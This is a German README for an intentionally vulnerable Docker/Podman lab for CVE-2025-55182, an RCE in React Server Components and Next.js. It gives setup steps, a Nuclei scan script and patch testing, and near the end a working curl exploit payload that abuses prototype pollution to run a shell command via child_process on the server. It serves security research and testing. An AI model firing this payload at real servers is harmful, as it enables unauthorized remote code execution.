
Eine containerisierte Testumgebung für CVE-2025-55182, eine kritische (10.0 CVSS) Remote Code Execution Schwachstelle in React Server Components.
Eine containerisierte Testumgebung für CVE-2025-55182, eine kritische (10.0 CVSS) Remote-Codeausführungs-Schwachstelle in React Server Components.
Diese Umgebung ist absichtlich angreifbar und sollte NUR verwendet werden für:
NICHT:
React-Pakete:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Next.js:
React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
# Build and start the vulnerable environment
podman compose up --build -d
# Check it's running
curl http://localhost:3000/api/status
# View logs
podman logs -f react2shell-vuln
# Stop
podman compose down
# Build and start the vulnerable environment
docker-compose up --build -d
# Access the application at http://localhost:3000
.
├── README.md # Diese Datei
├── Dockerfile # Container-Build-Anweisungen
├── Dockerfile.dev # Entwicklungscontainer mit Hot Reload
├── docker-compose.yml # Docker/Podman Compose-Konfiguration
├── CVE-2025-55182.yaml # Nuclei-Scanner-Vorlage
├── scan.sh # Allgemeines Nuclei-Scanner-Skript
├── scan-results/ # Scan-Ausgabeverzeichnis
└── vulnerable-app/ # Angreifbare Next.js-Anwendung
├── package.json # Abhängigkeiten (anfällige Versionen)
├── next.config.js # Next.js-Konfiguration
├── tsconfig.json # TypeScript-Konfiguration
└── app/ # App Router Seiten und Komponenten
├── layout.tsx # Root-Layout
├── page.tsx # Hauptseite mit Server Components
├── globals.css # Stile
├── actions.ts # Server Actions
├── api/status/ # Status-API-Endpunkt
└── components/ # React-Komponenten
Falls Sie die Vorlage nicht haben, laden Sie sie aus dem offiziellen nuclei-templates-Repository herunter:
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml
Das enthaltene scan.sh ist ein allgemeiner Nuclei-Container-Scanner, der sowohl mit Docker als auch mit Podman funktioniert.
# Die lokale angreifbare App scannen
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v
# Beliebiges Ziel scannen
./scan.sh -u https://example.com -t CVE-2025-55182.yaml
# Mit allen Nuclei-Vorlagen scannen
./scan.sh -u https://example.com
# Mehrere Ziele aus einer Datei scannen
./scan.sh -l targets.txt -t CVE-2025-55182.yaml
# Nach Schweregrad filtern
./scan.sh -u https://example.com -s critical,high
# JSON-Ausgabe
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j
podman run --rm \
-v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
docker.io/projectdiscovery/nuclei:latest \
-t /templates/CVE-2025-55182.yaml \
-u "http://host.docker.internal:3000" \
-v
Sobald der Container läuft:
http://localhost:3000 aufhttp://localhost:3000/api/statusHinweis: Die Schwachstelle betrifft unsichere Deserialisierung im RSC-Protokoll. Die Nuclei-Vorlage testet diesen spezifischen Angriffsvektor.
Um die gepatche Version zu testen, ändern Sie vulnerable-app/package.json:
{
"dependencies": {
"next": "15.5.7",
"react": "^19.1.2",
"react-dom": "^19.1.2"
}
}
Dann neu bauen:
# Podman
podman compose down
podman compose up --build -d
# Docker
docker-compose down
docker-compose up --build
Diese Testumgebung dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Die Betreuer übernehmen keine Verantwortung für Missbrauch dieser Software. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Sicherheitsschwachstellen testen.
curl -X POST http://localhost:3000 \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
-H "X-Nextjs-Request-Id: test123" \
--data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
-i 2>&1 | grep -i "x-action-redirect"
| Option | Beschreibung |
|---|
-u, --url <url> | Einzelne Ziel-URL zum Scannen |
-l, --list <file> | Datei mit Liste der Ziel-URLs |
-t, --template <file> | Benutzerdefinierte Vorlagendatei oder -verzeichnis |
-o, --output <dir> | Ausgabeverzeichnis (Standard: ./scan-results) |
-s, --severity <level> | Filter: info, low, medium, high, critical |
-r, --rate-limit <n> | Maximale Anfragen pro Sekunde |
-j, --json | Ergebnisse im JSON-Format ausgeben |
-v, --verbose | Ausführliche Ausgabe |
-h, --help | Hilfemeldung anzeigen |